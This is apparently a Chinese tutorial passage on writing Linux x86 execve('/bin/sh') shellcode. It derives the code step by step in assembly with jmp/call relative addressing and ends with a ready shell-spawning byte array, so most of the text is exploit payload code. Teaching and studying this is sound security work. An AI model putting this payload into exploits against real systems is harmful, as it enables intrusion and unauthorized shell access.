编写shellcode,具体动作如下:
a) 把以NULL结尾的字串"/bin/sh"放到内存某处;
b) 把字串"/bin/sh"的地址放到内存某处,后面跟一个空的长字(null long word);
c) 把0xb放到寄存器EAX中;
d) 把字串"/bin/sh"的地址放到寄存器EBX中;
e) 把字串"/bin/sh"地址的地址放到寄存器ECX中;
f) 把空长字的地址放到寄存器EDX中;
g) 执行指令int $0x80;
h) 把0x1放到寄存器EAX中;
i) 把0x0放到寄存器EBX中;
j) 执行指令int $0x80。
以汇编代码把上述动作写出:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
问题:们不知道在要破解的程序的内存空间中,上述代码(和其后的字串)会被放到
哪里,因此“/bin/sh”的地址并不知道,采用相对寻址方法修正上述代码:
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes 计算得出offset-to-call = 0x2a
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes 计算得出offset-to-popl = -0x2f
/bin/sh string goes here.
------------------------------------------------------------------------------
最终得出代码:
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
编译后反汇编得到二进制代码。这就是shellcode:
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";